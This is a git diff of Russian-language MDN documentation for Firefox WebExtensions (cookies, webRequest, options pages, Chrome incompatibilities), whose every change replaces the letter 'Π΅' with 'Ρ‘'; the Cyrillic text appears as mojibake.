<li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° настроСк</a> открываСтся, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ обращаСтся ΠΊ Π½Π°ΡΡ‚Ρ€ΠΎΠΉΠΊΠ°ΠΌΒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π½Π° страницС ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ.</li>
</ul>
-<p>Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· этих ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² Π²Ρ‹ создаСтС HTML Ρ„Π°ΠΉΠ» ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>. HTML Ρ„Π°ΠΉΠ» ΠΌΠΎΠΆΠ΅Ρ‚ Π² сСбя Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ CSS ΠΈ JavaScript Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΈ любая web-страница.</p>
+<p>Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· этих ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² Π²Ρ‹ создаётС HTML Ρ„Π°ΠΉΠ» ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>. HTML Ρ„Π°ΠΉΠ» ΠΌΠΎΠΆΠ΅Ρ‚ Π² сСбя Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ CSS ΠΈ JavaScript Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΈ любая web-страница.</p>
<p>Всё это Ρ‚ΠΈΠΏΡ‹ <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Π²Π΅Π±-страниц Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ</a>, ΠΈ, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅Β ΠΎΡ‚ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π²Π΅Π±-страниц, ваш JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС ΠΏΡ€ΠΈΠ²Π΅Π»Π΅Π³ΠΈΠΈ WebExtension APIs, ΠΊΠ°ΠΊ ΠΈ ваши Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ скрипты. Они Π΄Π°ΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΉ страницС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{WebExtAPIRef("runtime.getBackgroundPage()")}}.</p>
diff --git a/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html b/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html
index a31f300edf..116166a1ef 100644
--- a/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/api/cookies/index.html
@@ -37,7 +37,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies
<dt>{{WebExtAPIRef("cookies.get()")}}</dt>
<dd>Π—Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΠΎΠ΄Π½ΠΎΠΌ кукис.</dd>
<dt>{{WebExtAPIRef("cookies.getAll()")}}</dt>
- <dd>Π’Ρ‹Π΄Π°Π΅Ρ‚ всС кукис ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ подходят установлСнному Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρƒ.</dd>
+ <dd>Π’Ρ‹Π΄Π°Ρ‘Ρ‚ всС кукис ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ подходят установлСнному Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρƒ.</dd>
<dt>{{WebExtAPIRef("cookies.set()")}}</dt>
<dd>УстанавливаСт кукис с Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ;Π² Ρ‚ΠΎΠΌ случаС Ссли ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ кукис Π±Ρ‹Π» информация Π±ΡƒΠ΄Π΅Ρ‚ пСрСзаписана.</dd>
<dt>{{WebExtAPIRef("cookies.remove()")}}</dt>
@@ -50,7 +50,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/cookies
<dl>
<dt>{{WebExtAPIRef("cookies.onChanged")}}</dt>
- <dd>ΠŸΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ ΠΊΠΎΠ³Π΄Π° кукис задаСтся ΠΈΠ»ΠΈ мСняСтся.</dd>
+ <dd>ΠŸΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ ΠΊΠΎΠ³Π΄Π° кукис задаётся ΠΈΠ»ΠΈ мСняСтся.</dd>
</dl>
<h2 id="Permissions">Permissions</h2>
diff --git a/files/ru/mozilla/add-ons/webextensions/api/index.html b/files/ru/mozilla/add-ons/webextensions/api/index.html
index d4f312ea2e..eec7707789 100644
--- a/files/ru/mozilla/add-ons/webextensions/api/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/api/index.html
@@ -45,7 +45,7 @@ setCookie.then(logCookie, logError);</pre>
<p>Mozilla Ρ‚Π°ΠΊ ΠΆΠ΅ прСдоставляСт ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΊΠΎΠ΄Ρƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅ΠΌΡƒ <code>browser</code> ΠΈ промисы,Β Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉΒ Π² Chrome: <a class="external external-icon" href="https://github.com/mozilla/webextension-polyfill">https://github.com/mozilla/webextension-polyfill</a>.</p>
-<p>Microsoft Edge ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ пространство ΠΈΠΌΠ΅Π½Β <code>browser</code>, Π½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚, основанный Π½Π° промисах асинхронный API. Π’ Edge Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ асинхронныС Π²Ρ‹Π·ΠΎΠ²Ρ‹ API Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ колбэки.</p>
+<p>Microsoft Edge ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ пространство ΠΈΠΌΡ‘Π½Β <code>browser</code>, Π½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚, основанный Π½Π° промисах асинхронный API. Π’ Edge Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ асинхронныС Π²Ρ‹Π·ΠΎΠ²Ρ‹ API Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ колбэки.</p>
<p>НС всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ всС API: Π΄Π΅Ρ‚Π°Π»ΠΈ см. <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a>.</p>
</div>
diff --git a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html
index ebae6f21c5..6f9eafef23 100644
--- a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html
@@ -9,7 +9,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest
<p>КаТдоС событиС Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΎ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ стадии запроса. Π’ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ порядок событий Ρ‚Π°ΠΊΠΎΠΉ:<img alt="" src="https://mdn.mozillademos.org/files/13376/webRequest-flow.png" style="display: block; height: 680px; margin-left: auto; margin-right: auto; width: 624px;"></p>
-<p>{{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΏΡƒΡ‰Π΅Π½ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²ΠΎ врСмя запроса. Π§Ρ€Π΅Π΄Π° событий ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π²Ρ‹ΡˆΠ΅: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Β Firefox, послС <a href="/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security">HSTS</a> обновлСния, событиС <code>onBeforeRedirect</code>Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΎ сразу ΠΆΠ΅ послС <code>onBeforeRequest</code>.</p>
+<p>{{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΏΡƒΡ‰Π΅Π½ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²ΠΎ врСмя запроса. Π§Ρ€Π΅Π΄Π° событий ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π²Ρ‹ΡˆΠ΅: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Β Firefox, послС <a href="/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security">HSTS</a> обновлСния, событиС <code>onBeforeRedirect</code>Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½ΠΎ сразу ΠΆΠ΅ послС <code>onBeforeRequest</code>.</p>
<p>ВсС события, ΠΊΡ€ΠΎΠΌΠ΅Β <code>onErrorOccurred</code>, ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‚Ρ€ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π²Β Β <code>addListener()</code>:</p>
@@ -19,7 +19,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest
<li>Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>extraInfoSpec</code> . ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… спСцифичСских для события инструкций.</li>
</ul>
-<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ - обработчику пСрСдаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>details</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ запросС. Она содСрТит ID запроса, который обСспСчСн для Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ Π½Π°Π΄ΡΡ‚Ρ€ΠΎΠΉΠΊΠΈ, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΡΠΎΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒ события, ассоциируСмыС с ΠΎΠ΄Π½ΠΈΠΌ запросом.Β Π­Ρ‚ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… сСссии ΠΈ контСкста надстройки. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ остаСтся ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ Π²Π΅Π·Π΄Π΅ Π½Π° протяТСнии запроса, Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ пСрСнаправлСниях ΠΈ ΠΎΠ±ΠΌΠ΅Π½Π°Ρ… Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.</p>
+<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ - обработчику пСрСдаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>details</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ запросС. Она содСрТит ID запроса, который обСспСчСн для Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ Π½Π°Π΄ΡΡ‚Ρ€ΠΎΠΉΠΊΠΈ, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΡΠΎΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒ события, ассоциируСмыС с ΠΎΠ΄Π½ΠΈΠΌ запросом.Β Π­Ρ‚ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… сСссии ΠΈ контСкста надстройки. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ остаётся ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ Π²Π΅Π·Π΄Π΅ Π½Π° протяТСнии запроса, Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ пСрСнаправлСниях ΠΈ ΠΎΠ±ΠΌΠ΅Π½Π°Ρ… Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.</p>
<p>Для использования webRequest API для опрСдСлённого хоста, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒΒ "webRequest"Β <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API permission</a> ΠΈ <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">host permission </a>для этого хоста. Для использования возмоТности "блокирования"Β Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Ρ‚ΡŒ "webRequestBlocking" API Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅.</p>
@@ -56,7 +56,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest
<li>{{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}</li>
</ul>
</li>
- <li>ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π²:
+ <li>ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π²:
<ul>
<li>{{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}</li>
</ul>
diff --git a/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html b/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html
index 7a5853c940..d17448989f 100644
--- a/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html
@@ -7,7 +7,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities
<p>Π’Π΅Π± Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ совмСстимости с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡΠΌΠΈΒ Chrome ΠΈ ΠžΠΏΠ΅Ρ€Ρ‹ Π½Π° сколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, написанныС для этих Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²Β Firefox с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ измСнСниями.</p>
-<p>ВсС ΠΆΠ΅,Β Firefox Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΒ API, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΡƒΠ΅ΠΌΡ‹Ρ… Π² Chrome ΠΈ ΠžΠΏΠ΅Ρ€Π΅. ΠœΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ большСй ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ, Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ.</p>
+<p>ВсС ΠΆΠ΅,Β Firefox Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΒ API, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΡƒΠ΅ΠΌΡ‹Ρ… Π² Chrome ΠΈ ΠžΠΏΠ΅Ρ€Π΅. ΠœΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ большСй ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ, Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ.</p>
<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ пСрСчисляСт всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π²Β <span style="line-height: 1.5;">Firefox Developer Edition (Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚Β Firefox 47). Π’Π°ΠΌ Π³Π΄Π΅ функция поддСрТиваСтся частично, ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½Ρ‹Π΅ мСста.</span></p>
diff --git a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html
index 2ecab08bdf..04a051899b 100644
--- a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html
@@ -107,7 +107,7 @@ browser.webRequest.onBeforeRequest.addListener(
<p class="result">На этот Ρ€Π°Π· ΠΌΡ‹ Π½Π΅ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ запрос: опция <code>{urls: [pattern], types: ["image"]}</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ запросы (1) для URL-адрСсов, находящихся Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Β«https://mdn.mozillademos.org / "(2) для рСсурсов изобраТСния. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см. {{WebExtAPIRef ("webRequest.RequestFilter")}}.</p>
-<p>Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ ΠΎΠΏΡ†ΠΈΡŽ <code>"blocking"</code>: Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ это, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ запрос. Π­Ρ‚ΠΎ заставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСтСвой запрос, поэтому Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΆΠ΄Π΅Ρ‚, ΠΏΠΎΠΊΠ° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ вСрнСтся, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ <code>"blocking"</code> смотритС Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ {{WebExtAPIRef ("webRequest.onBeforeRequest")}}.</p>
+<p>Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ ΠΎΠΏΡ†ΠΈΡŽ <code>"blocking"</code>: Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ это, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ запрос. Π­Ρ‚ΠΎ заставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСтСвой запрос, поэтому Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΆΠ΄Ρ‘Ρ‚, ΠΏΠΎΠΊΠ° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ вСрнётся, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ <code>"blocking"</code> смотритС Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ {{WebExtAPIRef ("webRequest.onBeforeRequest")}}.</p>
